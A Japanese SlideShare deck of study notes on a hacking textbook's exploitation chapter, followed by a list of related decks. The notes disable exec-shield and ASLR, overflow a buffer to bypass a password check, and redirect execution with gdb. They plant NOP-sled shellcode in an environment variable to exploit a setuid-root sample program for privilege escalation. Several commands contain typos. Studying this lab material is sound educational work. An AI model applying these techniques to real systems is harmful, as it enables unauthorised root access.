SlideShare uma empresa Scribd logo
1 de 14
0x300 ハックする前の準備
    ●   サンプルを用意する
          ●   http://www.oreilly.co.jp/books/9784873115146/
    ●   exec­sheeld を無効にする
          ●   echo 0 >/proc/sys/kernel/exec­shield
    ●   ASLR を無効にする
          ●   echo 0 >/proc/sys/kernel/randomize_va_space




                                    
0x320 バッフアオーバーフロー
 ●   $gcc ­g ­fno­stack­protector ­o auth_overflow 
       auth_overflow.c
 ●   $./auth_overflow `ruby ­e 'print "A"*20'``
     ­=­=­=­=­=­=­=­=­=­=­=­=­=­
       アクセスを許可します。
     ­=­=­=­=­=­=­=­=­=­=­=­=­=­




                               
0x320 バッフアオーバーフロー
    ●   $gcc ­g ­fno­stack­protector ­o auth_overflow2 
          auth_overflow2.c
    ●   $./auth_overflow2 `ruby ­e 'print "A"*20'`
        ­=­=­=­=­=­=­=­=­=­=­=­=­=­
          アクセスを許可します。
        ­=­=­=­=­=­=­=­=­=­=­=­=­=­

        通るんだけど?
                                 
0x320 実際に見てみた

    (gdb) x/x password_buffer 
    0xbffff21c: 0x41414141
    (gdb) x/x &auth_flag 
    0xbffff22c: 0x41414141
     変数の宣言を入れ替えても password_buffer
     のアドレスが &auth_flag のアドレスより低位
     に存在する。


                             
0x330 bash を用いた実験
    ●   $./auth_overflow2
    ●   (gdb) disas main
        ...
        0x08048559 <+69>:movl   $0x804868a,(%esp)
        0x08048560 <+76>:call   0x80483cc <puts@plt>
        0x08048565 <+81>:movl   $0x80486a8,(%esp)
        ...
    ●   (gdb) b 16
    ●   (gdb) r $(perl ­e 'print"x60x85x04x08" x10')
    ●   (gdb) x/x $ebp
        0xbffff228: 0x08048560
                                                
0x330 bash を用いた実験
    ●   出力結果
    ●   (gdb) c
        Continuing.
        �g����$���[����$�O����
                        ͆
                                �$���A����Ð��U��]Ít&
          アクセスを許可します。
        ­=­=­=­=­=­=­=­=­=­=­=­=­=­

    ●   フレームポインタの上書きに成功している?



                                       
notesearch に対する脆弱性攻撃
    ●   目的は root へ setuid したプログラムを攻撃する
    ●   スタック上にアセンブラコードを展開し、そ
         こへジャンプさせることで任意のコードが実
         行できる。




                       
exploit_notesearch

        実行時のスタックの様子


    ●   戻りアドレスはローカル
        変数がスタックに積まれ
        た時の仮想アドレスを基
        にして生成されている。


    ●   0x90 は NOP 命令
                         
0x331 環境変数を使用する
    ●   環境変数てなに?
          ●   シェルに用いられる最初から定義されている変
               数
              例 ) $HOME $PATH $USER 等
              printenv で確認できる。
    ●   変数を書き換える (bash の場合 )
          ●   $export HOGE=foo
          ●   $echo $HOGE
              foo

                                  
バイナリデータを変数に設定する
    ●   $export SHELLCODE=$(perl ­e 'print "x90"x200')
          (cat shellcode.bin)
    ●   $echo $SHELLCODE
    ●   スタックの底の方を GDB で見てみると
         SHELLCODE が見える。
    ●   つまり SHELLCODE までジャンプさせること
         が出来れば shellcode が実行できるのでは?



                               
環境変数の位置を把握する
    ●   getenv() 関数を用いる
    ●   $gcc getenv_example.c
        $./a.out SHELLCODE
        ( アドレスが出力される )
    ●   $./( 任意のプログラム名 ) SHELLCODE
        ( アドレスがプログラム名によって変化する )



                                 
環境変数の位置を把握する 2
    $gcc getenvaddr.c ­o getenvaddr
    $./getenvaddr SHELCODE ./notesearch
    SHELLCODE : 0xbfffff3c
    $./notesearch $(per 1 ­e 'print "¥x3c¥xff¥xff¥xbf"x40')




                                   
環境変数を使って exploit する

    $gcc exploit_notesearch_env.c
    ./a.out

    権限昇格 !!




                            
スタックの状態




           

Mais conteúdo relacionado

Mais procurados

Yapc -asia 2012 lt @studio3104
Yapc -asia 2012 lt @studio3104Yapc -asia 2012 lt @studio3104
Yapc -asia 2012 lt @studio3104Satoshi Suzuki
 
Functions
FunctionsFunctions
Functionsdo_aki
 
CakePHP+Smartyハイブリッドによるラクラク開発
CakePHP+Smartyハイブリッドによるラクラク開発CakePHP+Smartyハイブリッドによるラクラク開発
CakePHP+Smartyハイブリッドによるラクラク開発Shinzo SAITO
 
もにかじ2 lt @studio3104
もにかじ2 lt @studio3104もにかじ2 lt @studio3104
もにかじ2 lt @studio3104Satoshi Suzuki
 
みんな大好き! Hello, World
みんな大好き! Hello, Worldみんな大好き! Hello, World
みんな大好き! Hello, WorldNaohiro Aota
 
for JSDeferred Code Reading
for JSDeferred Code Readingfor JSDeferred Code Reading
for JSDeferred Code ReadingKenichirou Oyama
 
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目hecomi
 
メタメタプログラミングRuby
メタメタプログラミングRubyメタメタプログラミングRuby
メタメタプログラミングRubyemasaka
 
64ビット対応Dllインジェクション
64ビット対応Dllインジェクション64ビット対応Dllインジェクション
64ビット対応DllインジェクションShinichi Hirauchi
 
「Html sql」で図書館hpにアクセスしてみよう
「Html sql」で図書館hpにアクセスしてみよう「Html sql」で図書館hpにアクセスしてみよう
「Html sql」で図書館hpにアクセスしてみようKentaro Matsui
 
Goの文法の実例と解説
Goの文法の実例と解説Goの文法の実例と解説
Goの文法の実例と解説Ryuji Iwata
 
Start printf 6_takarakasai
Start printf 6_takarakasaiStart printf 6_takarakasai
Start printf 6_takarakasaitakara kasai
 
CakeRequest::onlyAllow() について
CakeRequest::onlyAllow() についてCakeRequest::onlyAllow() について
CakeRequest::onlyAllow() についてYuya Takahashi
 
Ruby初級者向けレッスン 45回 ─── 例外
Ruby初級者向けレッスン 45回 ─── 例外Ruby初級者向けレッスン 45回 ─── 例外
Ruby初級者向けレッスン 45回 ─── 例外higaki
 
実用裏方 Perl 入門
実用裏方 Perl 入門実用裏方 Perl 入門
実用裏方 Perl 入門keroyonn
 

Mais procurados (20)

Yapc -asia 2012 lt @studio3104
Yapc -asia 2012 lt @studio3104Yapc -asia 2012 lt @studio3104
Yapc -asia 2012 lt @studio3104
 
Functions
FunctionsFunctions
Functions
 
01 php7
01   php701   php7
01 php7
 
Poolboy
PoolboyPoolboy
Poolboy
 
CakePHP+Smartyハイブリッドによるラクラク開発
CakePHP+Smartyハイブリッドによるラクラク開発CakePHP+Smartyハイブリッドによるラクラク開発
CakePHP+Smartyハイブリッドによるラクラク開発
 
もにかじ2 lt @studio3104
もにかじ2 lt @studio3104もにかじ2 lt @studio3104
もにかじ2 lt @studio3104
 
みんな大好き! Hello, World
みんな大好き! Hello, Worldみんな大好き! Hello, World
みんな大好き! Hello, World
 
JavaScript入門
JavaScript入門JavaScript入門
JavaScript入門
 
for JSDeferred Code Reading
for JSDeferred Code Readingfor JSDeferred Code Reading
for JSDeferred Code Reading
 
zsh とわたし
zsh とわたし zsh とわたし
zsh とわたし
 
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目
Node.js × 音声認識 - 東京Node学園 2012 LT枠 6番目
 
What is Metasepi?
What is Metasepi?What is Metasepi?
What is Metasepi?
 
メタメタプログラミングRuby
メタメタプログラミングRubyメタメタプログラミングRuby
メタメタプログラミングRuby
 
64ビット対応Dllインジェクション
64ビット対応Dllインジェクション64ビット対応Dllインジェクション
64ビット対応Dllインジェクション
 
「Html sql」で図書館hpにアクセスしてみよう
「Html sql」で図書館hpにアクセスしてみよう「Html sql」で図書館hpにアクセスしてみよう
「Html sql」で図書館hpにアクセスしてみよう
 
Goの文法の実例と解説
Goの文法の実例と解説Goの文法の実例と解説
Goの文法の実例と解説
 
Start printf 6_takarakasai
Start printf 6_takarakasaiStart printf 6_takarakasai
Start printf 6_takarakasai
 
CakeRequest::onlyAllow() について
CakeRequest::onlyAllow() についてCakeRequest::onlyAllow() について
CakeRequest::onlyAllow() について
 
Ruby初級者向けレッスン 45回 ─── 例外
Ruby初級者向けレッスン 45回 ─── 例外Ruby初級者向けレッスン 45回 ─── 例外
Ruby初級者向けレッスン 45回 ─── 例外
 
実用裏方 Perl 入門
実用裏方 Perl 入門実用裏方 Perl 入門
実用裏方 Perl 入門
 

Semelhante a 0x300

x86とコンテキストスイッチ
x86とコンテキストスイッチx86とコンテキストスイッチ
x86とコンテキストスイッチMasami Ichikawa
 
モダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasiaモダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasia鉄次 尾形
 
Groovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみようGroovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみようAkira Shimosako
 
How to debug a perl script using gdb
How to debug a perl script using gdbHow to debug a perl script using gdb
How to debug a perl script using gdbakirahiguchi
 
Debug Hacks at Security and Programming camp 2011
Debug Hacks at Security and Programming camp 2011 Debug Hacks at Security and Programming camp 2011
Debug Hacks at Security and Programming camp 2011 Hiro Yoshioka
 
ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)
ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)
ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)inaz2
 
Programming camp 2010 debug hacks
Programming camp 2010 debug hacksProgramming camp 2010 debug hacks
Programming camp 2010 debug hacksHiro Yoshioka
 
Programming camp 2008, Codereading
Programming camp 2008, CodereadingProgramming camp 2008, Codereading
Programming camp 2008, CodereadingHiro Yoshioka
 
PHP AST 徹底解説
PHP AST 徹底解説PHP AST 徹底解説
PHP AST 徹底解説do_aki
 
SEH on mingw32
SEH on mingw32SEH on mingw32
SEH on mingw32kikairoya
 
ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。Kazuki Onishi
 
GNU awk (gawk) を用いた Apache ログ解析方法
GNU awk (gawk) を用いた Apache ログ解析方法GNU awk (gawk) を用いた Apache ログ解析方法
GNU awk (gawk) を用いた Apache ログ解析方法博文 斉藤
 
PHPの今とこれから2021
PHPの今とこれから2021PHPの今とこれから2021
PHPの今とこれから2021Rui Hirokawa
 
asm.js x emscripten: The foundation of the next level Web games
asm.js x emscripten: The foundation of the next level Web gamesasm.js x emscripten: The foundation of the next level Web games
asm.js x emscripten: The foundation of the next level Web gamesNoritada Shimizu
 
Rのデータ構造とメモリ管理
Rのデータ構造とメモリ管理Rのデータ構造とメモリ管理
Rのデータ構造とメモリ管理Takeshi Arabiki
 
Dive into RTS - another side
Dive into RTS - another sideDive into RTS - another side
Dive into RTS - another sideKiwamu Okabe
 
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8y_taka_23
 

Semelhante a 0x300 (20)

x86とコンテキストスイッチ
x86とコンテキストスイッチx86とコンテキストスイッチ
x86とコンテキストスイッチ
 
モダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasiaモダンmod_perl入門 #yapcasia
モダンmod_perl入門 #yapcasia
 
Groovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみようGroovyで楽にSQLを実行してみよう
Groovyで楽にSQLを実行してみよう
 
How to debug a perl script using gdb
How to debug a perl script using gdbHow to debug a perl script using gdb
How to debug a perl script using gdb
 
Debug Hacks at Security and Programming camp 2011
Debug Hacks at Security and Programming camp 2011 Debug Hacks at Security and Programming camp 2011
Debug Hacks at Security and Programming camp 2011
 
ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)
ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)
ROP Illmatic: Exploring Universal ROP on glibc x86-64 (ja)
 
Programming camp 2010 debug hacks
Programming camp 2010 debug hacksProgramming camp 2010 debug hacks
Programming camp 2010 debug hacks
 
Perl勉強会#2資料
Perl勉強会#2資料Perl勉強会#2資料
Perl勉強会#2資料
 
Programming camp 2008, Codereading
Programming camp 2008, CodereadingProgramming camp 2008, Codereading
Programming camp 2008, Codereading
 
about DakotagUI
about DakotagUIabout DakotagUI
about DakotagUI
 
PHP AST 徹底解説
PHP AST 徹底解説PHP AST 徹底解説
PHP AST 徹底解説
 
SEH on mingw32
SEH on mingw32SEH on mingw32
SEH on mingw32
 
ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。
 
GNU awk (gawk) を用いた Apache ログ解析方法
GNU awk (gawk) を用いた Apache ログ解析方法GNU awk (gawk) を用いた Apache ログ解析方法
GNU awk (gawk) を用いた Apache ログ解析方法
 
PHPの今とこれから2021
PHPの今とこれから2021PHPの今とこれから2021
PHPの今とこれから2021
 
Objc lambda
Objc lambdaObjc lambda
Objc lambda
 
asm.js x emscripten: The foundation of the next level Web games
asm.js x emscripten: The foundation of the next level Web gamesasm.js x emscripten: The foundation of the next level Web games
asm.js x emscripten: The foundation of the next level Web games
 
Rのデータ構造とメモリ管理
Rのデータ構造とメモリ管理Rのデータ構造とメモリ管理
Rのデータ構造とメモリ管理
 
Dive into RTS - another side
Dive into RTS - another sideDive into RTS - another side
Dive into RTS - another side
 
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
 

0x300

  • 1. 0x300 ハックする前の準備 ● サンプルを用意する ● http://www.oreilly.co.jp/books/9784873115146/ ● exec­sheeld を無効にする ● echo 0 >/proc/sys/kernel/exec­shield ● ASLR を無効にする ● echo 0 >/proc/sys/kernel/randomize_va_space    
  • 2. 0x320 バッフアオーバーフロー ● $gcc ­g ­fno­stack­protector ­o auth_overflow  auth_overflow.c ● $./auth_overflow `ruby ­e 'print "A"*20'`` ­=­=­=­=­=­=­=­=­=­=­=­=­=­ アクセスを許可します。 ­=­=­=­=­=­=­=­=­=­=­=­=­=­    
  • 3. 0x320 バッフアオーバーフロー ● $gcc ­g ­fno­stack­protector ­o auth_overflow2  auth_overflow2.c ● $./auth_overflow2 `ruby ­e 'print "A"*20'` ­=­=­=­=­=­=­=­=­=­=­=­=­=­ アクセスを許可します。 ­=­=­=­=­=­=­=­=­=­=­=­=­=­ 通るんだけど?    
  • 4. 0x320 実際に見てみた (gdb) x/x password_buffer  0xbffff21c: 0x41414141 (gdb) x/x &auth_flag  0xbffff22c: 0x41414141  変数の宣言を入れ替えても password_buffer のアドレスが &auth_flag のアドレスより低位 に存在する。    
  • 5. 0x330 bash を用いた実験 ● $./auth_overflow2 ● (gdb) disas main ... 0x08048559 <+69>:movl   $0x804868a,(%esp) 0x08048560 <+76>:call   0x80483cc <puts@plt> 0x08048565 <+81>:movl   $0x80486a8,(%esp) ... ● (gdb) b 16 ● (gdb) r $(perl ­e 'print"x60x85x04x08" x10') ● (gdb) x/x $ebp 0xbffff228: 0x08048560    
  • 6. 0x330 bash を用いた実験 ● 出力結果 ● (gdb) c Continuing. �g����$���[����$�O���� ͆                         �$���A����Ð��U��]Ít& アクセスを許可します。 ­=­=­=­=­=­=­=­=­=­=­=­=­=­ ● フレームポインタの上書きに成功している?    
  • 7. notesearch に対する脆弱性攻撃 ● 目的は root へ setuid したプログラムを攻撃する ● スタック上にアセンブラコードを展開し、そ こへジャンプさせることで任意のコードが実 行できる。    
  • 8. exploit_notesearch 実行時のスタックの様子 ● 戻りアドレスはローカル 変数がスタックに積まれ た時の仮想アドレスを基 にして生成されている。 ● 0x90 は NOP 命令    
  • 9. 0x331 環境変数を使用する ● 環境変数てなに? ● シェルに用いられる最初から定義されている変 数 例 ) $HOME $PATH $USER 等 printenv で確認できる。 ● 変数を書き換える (bash の場合 ) ● $export HOGE=foo ● $echo $HOGE foo    
  • 10. バイナリデータを変数に設定する ● $export SHELLCODE=$(perl ­e 'print "x90"x200') (cat shellcode.bin) ● $echo $SHELLCODE ● スタックの底の方を GDB で見てみると SHELLCODE が見える。 ● つまり SHELLCODE までジャンプさせること が出来れば shellcode が実行できるのでは?    
  • 11. 環境変数の位置を把握する ● getenv() 関数を用いる ● $gcc getenv_example.c $./a.out SHELLCODE ( アドレスが出力される ) ● $./( 任意のプログラム名 ) SHELLCODE ( アドレスがプログラム名によって変化する )    
  • 12. 環境変数の位置を把握する 2 $gcc getenvaddr.c ­o getenvaddr $./getenvaddr SHELCODE ./notesearch SHELLCODE : 0xbfffff3c $./notesearch $(per 1 ­e 'print "¥x3c¥xff¥xff¥xbf"x40')    
  • 13. 環境変数を使って exploit する $gcc exploit_notesearch_env.c ./a.out 権限昇格 !!